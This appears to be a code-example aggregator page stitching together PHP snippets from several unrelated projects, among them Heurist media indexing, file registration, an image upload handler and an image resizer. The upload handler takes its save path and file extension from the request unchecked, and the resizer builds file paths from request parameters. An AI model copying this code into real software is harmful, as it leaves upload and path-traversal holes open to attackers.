                                    print "<div>File: <i>{$filename_base}</i> <span  style=\"color:#ff8844\">" . "Warning: Checksum differs from value in manifest; " . "data file may have been changed</span></div>";
                                }
                                $f_item->addChild("heurist_id", $out["bibID"]);
                                $f_item->addChild("md5", $new_md5);
                                $f_item->addChild("filesize", filesize($filename));
                                $rep_added++;
                            } else {
                                $el_heuristid["heurist_id"] = $out["bibID"];
                                $rep_updated++;
                            }
                            if (@$out['warning']) {
                                print "<div>File: <i>{$filename_base}</i> <span  style=\"color:#ff8844\">Warning: " . implode("; ", $out["warning"]) . "</span></div>";
                            }
                        }
                        $rep_processed++;
                    } else {
                        $rep_ignored++;
                    }
                    $cnt_files++;
                    if ($cnt_files % 5 == 0) {
                        ob_start();
                        print '<script type="text/javascript">update_counts(' . $progress_divid . ',' . $cnt_files . ',' . $rep_processed . ',' . $tot_files . ')</script>' . "\n";
                        ob_flush();
                        flush();
                    }
                }
                //for items
            }
            //if has items
        }
        //for all children in manifest
        if ($not_found) {
            print "<div style=\"color:red\">Manifest is either corrupted or empty</div>";
        } else {
            if ($rep_processed > 0) {
                print "<div>{$rep_processed} files processed. {$rep_added} added. {$rep_updated} updated.</div>";
            }
            if ($rep_ignored > 0) {
                print "<div>{$rep_ignored} files already indexed.</div>";
            }
        }
    } else {
        //create empty manifest XML  - TODO!!!!
        $s_manifest = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<fieldhelper version="1">
  <info>
    <AppName>Heurist</AppName>
    <AppVersion>v 3.0.0 2012-01-01</AppVersion>
    <AppCopyright>© ArtEresearch, University of Sydney</AppCopyright>
    <date></date>
  </info>
<formatOutput>1</formatOutput>
</fieldhelper>
XML;
        $fh_data = simplexml_load_string($s_manifest);
    }
    // add new empty items element
    if ($f_items == null) {
        $f_items = $fh_data->addChild("items");
    }
    $tot_files = count($all_files);
    $cnt_files = 0;
    $cnt_added = 0;
    //for files in folder that are not specified in the manifest file
    foreach ($all_files as $filename) {
        if (!($filename == "." || $filename == ".." || is_dir($dir . $filename) || $filename == "fieldhelper.xml")) {
            $filename_base = $filename;
            $filename = $dir . $filename;
            $currfile = $filename;
            $flleinfo = pathinfo($filename);
            $recordNotes = null;
            //checks for allowed extensions
            if (in_array(strtolower(@$flleinfo['extension']), $mediaExts)) {
                $details = array();
                $file_id = register_file($filename, null, false);
                if (is_numeric($file_id)) {
                    $details["t:" . $fileDT] = array("1" => $file_id);
                    //read EXIF data for JPEG images
                    $recordNotes = readEXIF($filename);
                } else {
                    print "<div>File: <i>{$filename_base}</i> <span  style=\"color:#ff8844\">" . "Warning: failed to register. No record created for:  .{$file_id}</span></div>";
                    //$rep_issues = $rep_issues."<br/>Can't register file:".$filename.". ".$file_id;
                    $file_id = null;
                    continue;
                }
                $details["t:" . $titleDT] = array("1" => $flleinfo['basename']);
                /* TODO - extract these data from exif
                   $details["t:".$descriptionDT] = array("1"=>$file_id);
                   $details["t:".$startdateDT] = array("1"=>$file_id);
                   $details["t:".$enddateDT] = array("1"=>$file_id);
                   $details["t:".$geoDT] = array("1"=>$file_id);
                   */
                $new_md5 = md5_file($filename);
                $key = $fieldhelper_to_heurist_map['md5'];
                if ($key > 0) {
                    $details["t:" . $key] = array("1" => $new_md5);
                }
                $key = $fieldhelper_to_heurist_map['file_name'];
                if ($key > 0) {
                    $details["t:" . $key] = array("1" => $flleinfo['basename']);
                }
                $key = $fieldhelper_to_heurist_map['file_path'];
                if ($key > 0) {
                    $targetPath = $flleinfo['dirname'];
                    $rel_path = getRelativePath(HEURIST_FILESTORE_DIR, $targetPath);
                    //getRelativePath2($targetPath);
                    $details["t:" . $key] = array("1" => $rel_path);
                    /*print "<div>".HEURIST_FILESTORE_DIR."</div>";
                      print "<div>file path :".$targetPath."</div>";
                      print "<div>relative path :".strpos($targetPath, HEURIST_FILESTORE_DIR)."--".$rel_path."</div>";
                      print "<div>relative path old :".getRelativePath(HEURIST_FILESTORE_DIR, $targetPath)."<br><br></div>";*/
                }
                $key = $fieldhelper_to_heurist_map['extension'];
                if ($key > 0) {
                    $details["t:" . $key] = array("1" => $flleinfo['extension']);
                }
                $key = $fieldhelper_to_heurist_map['filesize'];
                if ($key > 0) {
                    $details["t:" . $key] = array("1" => filesize($filename));
                }
                //add-update Heurist record
                $out['error'] = 'test2';
                $out = saveRecord(null, RT_MEDIA_RECORD, null, $recordNotes, null, null, null, null, null, null, null, $details, null, null, null, null, null);
                $f_item = $f_items->addChild("item");
                $f_item->addChild("filename", htmlspecialchars($flleinfo['basename']));
                $f_item->addChild("nativePath", htmlspecialchars($filename));
                $f_item->addChild("folder", htmlspecialchars($flleinfo['dirname']));
                $f_item->addChild("extension", $flleinfo['extension']);
                //$f_item->addChild("DateTime", );
                //$f_item->addChild("DateTimeOriginal", );
                $f_item->addChild("filedate", date("Y/m/d H:i:s.", filemtime($filename)));
                $f_item->addChild("typeContent", "image");
                $f_item->addChild("device", "image");
                $f_item->addChild("duration", "2000");
                $f_item->addChild("original_metadata", "chk");
                $f_item->addChild("Name0", htmlspecialchars($flleinfo['basename']));
                $f_item->addChild("md5", $new_md5);
                $f_item->addChild("filesize", filesize($filename));
                if (@$out['error']) {
                    print "<div>Fle: <i>{$filename_base}</i> <span style='color:red'>Error: " . implode("; ", $out["error"]) . "</span></div>";
                } else {
                    $f_item->addChild("heurist_id", $out["bibID"]);
                    $cnt_added++;
                }
                $rep_processed_dir++;
            }
            //check ext
            $cnt_files++;
            if ($cnt_files % 5 == 0) {
                ob_start();
                print '<script type="text/javascript">update_counts(' . $progress_divid . ',' . $cnt_files . ',' . $cnt_added . ',' . $tot_files . ')</script>' . "\n";
                ob_flush();
                flush();
            }
        }
    }
    //for files in folder that are not specified in the directory
    ob_start();
    if ($rep_processed_dir > 0) {
        print "<div style=\"color:green\">{$rep_processed_dir} processed. {$cnt_added} records created (new entries added to manifests)</div>";
    }
    print '<script type="text/javascript">update_counts(' . $progress_divid . ',' . $cnt_files . ',' . $cnt_added . ',0)</script>' . "\n";
    ob_flush();
    flush();
    if ($rep_processed + $rep_processed_dir > 0) {
        //save modified xml (with updated heurist_id tags)
        $fh_data->formatOutput = true;
        $fh_data->saveXML($manifest_file);
    }
    return $rep_processed + $rep_processed_dir;
}
示例#22
0
relativePath();
?>
swimkids.php">Swim Kids</a></li>
                    <li><a class="button button-primary" id="button2" href="<?php 
relativePath();
?>
drills.php">Drills</a></li>
                    <li><a class="button button-primary" id="button3" href="<?php 
relativePath();
?>
form.php">Questions</a></li>
                    <?php 
if (isLoggedIn()) {
    echo '<li><a class="button button-primary droplink" id="loginbutton" href="' . getRelativePath() . '">' . getUsername() . '</a></li>';
} else {
    echo '<li><a class="button button-primary droplink" id="loginbutton" href="' . getRelativePath() . '">Login</a></li>';
}
?>

                </ul>
            </div>
        </div>
    </div>

    <div class="container">
        <div class="offset-by-five columns">
            <div id="dropdown" class="dropContent seven columns">
                <?php 
if (isLoggedIn()) {
    ?>
                
示例#23
0
/**
 * Registger the file on the server in recUploadedFiles
 *
 * It used in import (from db and folder) to register the existing files
 *
 * @param type $fullname - absolute path to file on this server
 * @param type $description
 * @param type $needConnect
 * @return string  new file id
 */
function register_file($fullname, $description, $needConnect)
{
    if (!is_logged_in()) {
        return "Not logged in";
    }
    /* clean up the provided file name -- these characters shouldn't make it through anyway */
    $fullname = str_replace("", '', $fullname);
    $fullname = str_replace('\\', '/', $fullname);
    //$fullname = preg_replace('!.*/!', '', $fullname);
    if (!file_exists($fullname)) {
        return "Error: {$fullname} file does not exist";
    }
    $size = filesize($fullname);
    if (!is_numeric($size) || $size <= 0) {
        return "Error: size is " . $size;
    }
    if ($needConnect) {
        mysql_connection_overwrite(DATABASE);
    }
    //get folder, extension and filename
    $path_parts = pathinfo($fullname);
    $dirname = $path_parts['dirname'] . '/';
    $mimetypeExt = strtolower($path_parts['extension']);
    //$filename = $path_parts['filename'];
    $filename = $path_parts['basename'];
    if ($mimetypeExt) {
        //check extension
        $mimeType = findMimeType($mimetypeExt);
        if (!$mimeType) {
            return "Error: mimtype for extension {$mimetypeExt} is is not defined in database";
        }
    }
    if ($size && $size < 1024) {
        $file_size = 1;
    } else {
        $file_size = round($size / 1024);
    }
    // get relative path to db root folder
    $relative_path = getRelativePath(HEURIST_FILESTORE_DIR, $dirname);
    //check if such file is already registered
    $res = mysql_query('select ulf_ID from recUploadedFiles ' . 'where ulf_FileName = "' . mysql_real_escape_string($filename) . '" and ' . ' (ulf_FilePath = "file_uploads/" or ulf_FilePath = "' . mysql_real_escape_string($relative_path) . '")');
    if (mysql_num_rows($res) == 1) {
        $row = mysql_fetch_assoc($res);
        $file_id = $row['ulf_ID'];
        return $file_id;
    } else {
        $toins = array('ulf_OrigFileName' => $filename, 'ulf_UploaderUGrpID' => get_user_id(), 'ulf_Added' => date('Y-m-d H:i:s'), 'ulf_MimeExt ' => $mimetypeExt, 'ulf_FileSizeKB' => $file_size, 'ulf_Description' => $description ? $description : NULL, 'ulf_FilePath' => $relative_path, 'ulf_FileName' => $filename, 'ulf_Parameters' => "mediatype=" . getMediaType($mimeType, $mimetypeExt));
        $res = mysql__insert('recUploadedFiles', $toins);
        if (!$res) {
            return "Error registration file {$fullname} into database";
        }
        $file_id = mysql_insert_id();
        mysql_query('update recUploadedFiles set ulf_ObfuscatedFileID = "' . addslashes(sha1($file_id . '.' . rand())) . '" where ulf_ID = ' . $file_id);
        return $file_id;
    }
}
function doUploadImage($passed_mime = null)
{
    /***
     * Works with the default $_FILES object and handles image
     * uploads.
     *
     * It then creates a thumbnail for easy display.
     *
     * It takes one optional function argument
     *
     * @param passed_mime The mime type of the file (to be passed to client)
     *
     * It has the following optional parameters, that should be
     * provided in the POST / GET request:
     *
     *
     * @param uploadpath the path, relative to this file, to save the
     * uploaded images. Should end in a trailing slash.
     *
     * @param thumb_width the maximum width of a thumbnail. (Aspect
     * ratio will be maintained)
     *
     * @param thumb_height the maximum height of a thumbnail (Aspect
     * ratio will be maintained)
     ***/
    if (empty($_FILES)) {
        return array('status' => false,'error' => 'No files provided','human_error' => 'Please provide a file to upload');
    }
    $temp = $_FILES['file']['tmp_name'];
    $uploadPath = $_REQUEST['uploadpath'];
    $savePath = dirname(__FILE__).'/'.$uploadPath;
    if (!file_exists($savePath)) {
        if(!mkdir($savePath)) {
        return array(
            'status' => false,
            'error' => "Bad path '$savePath'",
            'human_error' => 'There is a server misconfiguration preventing your file from being uploaded',
        );
        }
    }
    $file = $_FILES['file']['name'];
    $exploded = explode('.', $file);
    $extension = array_pop($exploded);
    $fileName = md5($file.microtime_float());
    $newFilePath = $fileName.'.'.$extension;
    $fileWritePath = $savePath.$newFilePath;
    # We want to suppress the warning on move_uploaded_file, or else
    # it'll return an invalid JSON response
    #error_reporting(0); # Disable this for debugging
    // ini_set("error_log","/usr/local/web/amphibian_disease/error-admin.log");
    // ini_set("display_errors",1);
    // ini_set("log_errors",1);
    // error_reporting(E_ALL);
    $status = move_uploaded_file($temp, $fileWritePath);
    $uploadStatus = array('status' => $status,'original_file' => $file,'wrote_file' => $newFilePath,'full_path' => getRelativePath($fileWritePath));
    if (!$status) {
        # We bugged out on completing the upload. Return this status.
        # Formal mime type:
        # https://secure.php.net/manual/en/fileinfo.constants.php
        $finfo = finfo_open(FILEINFO_MIME);
        $mime = finfo_file($finfo, $temp);
        finfo_close($finfo);
        # Return the "real" path for debugging
        $uploadStatus["error"] = "Could not move uploaded file to destination ( Destination directory: ".realpath($savePath).")";
        $uploadStatus["mime"] = "Formal mime: '".$mime."'";
        $uploadStatus["human_error"] = "There was a problem saving your file to the server";
        return $uploadStatus;
    }
    # $uploadStatus["s3"] = copyToS3($fileWritePath, $newFilePath);
    # OK, create the thumbs.
    if (intval($_REQUEST['thumb_width']) > 0) {
        $thumb_max_width = intval($_REQUEST['thumb_width']);
    } else {
        $thumb_max_width = 640;
    }
    if (intval($_REQUEST['thumb_height']) > 0) {
        $thumb_max_height = intval($_REQUEST['thumb_height']);
    } else {
        $thumb_max_height = 480;
    }
    $fileThumb = $savePath.$fileName.'-thumb.'.$extension;
    $resizeStatus = ImageFunctions::staticResizeImage($fileWritePath, $fileThumb, $thumb_max_width, $thumb_max_height);
    # $resizeStatus["s3"] = copyToS3($resizeStatus['output'], $fileName.'-thumb.'.$extension);
    $resizeStatus['output'] = getRelativePath($resizeStatus['output']);
    $uploadStatus['resize_status'] = $resizeStatus;
    $uploadStatus['thumb_path'] = $resizeStatus['output'];
    $uploadStatus["wrote_thumb"] = str_replace("uploaded/","",$resizeStatus["output"]);
    $uploadStatus['mime_provided'] = $passed_mime;
    return $uploadStatus;
}
示例#25
0
        } else {
            if ($type == IMAGETYPE_PNG) {
                imagealphablending($tmp_img, false);
                imagesavealpha($tmp_img, true);
                imagepng($tmp_img, $file_out);
            }
        }
    }
    imagedestroy($tmp_img);
    return true;
}
if (isset($_REQUEST['makeImage'])) {
    // get the relative path from this file to the images
    $baseURL = @($_SERVER["HTTPS"] != 'on') ? 'http://' . $_SERVER["SERVER_NAME"] : 'https://' . $_SERVER["SERVER_NAME"];
    $self = $baseURL . $_SERVER['PHP_SELF'];
    $fileIn = getRelativePath($self, $baseURL . $_REQUEST['fileIn']);
    $fileOut = getRelativePath($self, $baseURL . $_REQUEST['fileOut']);
    $size = $_REQUEST['size'];
    $jpegQuality = $_REQUEST['jpegQuality'];
    $imageSize = getimagesize($fileIn);
    //- get the image's original size to prevent sizing up
    if ($size < $imageSize[0]) {
        makeImage($fileIn, $fileOut, $size, "w", $jpegQuality);
        //- make the new image!
        echo "1";
        //- basically, return true
    } else {
        echo "0 target width is " . $size . " and original width is " . $imageSize[0];
        //- basically, return false
    }
}
示例#26
0
<?php

function getRelativePath($a, $b)
{
    $relativePath = "";
    $pathA = explode('/', dirname($a));
    $pathB = explode('/', dirname($b));
    $n = 0;
    $len = count($pathB) > count($pathA) ? count($pathA) : count($pathB);
    do {
        if ($pathA[$n] != $pathB[$n] || $n >= $len) {
            break;
        }
    } while (++$n);
    $relativePath .= str_repeat('../', count($pathB) - $n);
    $relativePath .= implode('/', array_splice($pathA, $n));
    return $relativePath;
}
$res = getRelativePath('/a/ab/v/d/f.php', '/a/ab/vd/df/g.php');
var_dump($res);
示例#27
0
    if (mb_strtolower($file->getBasename()) == 'readme.md') {
        continue;
    }
    if ($file->isFile() && preg_match("/\\.(md|txt)\$/", $file->getFilename())) {
        $list[] = $file->getPathname();
    }
}
sort($list);
$headerList = [];
foreach ($list as $path) {
    $content = file_get_contents($path);
    if (!preg_match("/^#\\s([^\n]+)\$/mu", $content, $m)) {
        throw new Exception("No H1 in file {$path}");
    }
    $h1 = trim($m[1]);
    $relativePath = getRelativePath($path, $baseDir);
    $section = dirname($relativePath);
    $headerList[$section][] = '- ' . createLink($relativePath, $h1);
}
ksort($headerList);
$indexTemplatePath = __DIR__ . '/README.md.template';
$readmePath = dirname(__DIR__) . '/README.md';
$headerListContent = '';
foreach ($headerList as $title => $section) {
    $title = $title && $title != '.' ? $title . '/' : 'Основное';
    $headerListContent .= "### {$title}\n\n";
    $headerListContent .= implode("\n", $section) . "\n\n";
}
$readme = file_get_contents($indexTemplatePath);
$readme = preg_replace("/{CONTENTS}/", $headerListContent, $readme);
file_put_contents($readmePath, $readme);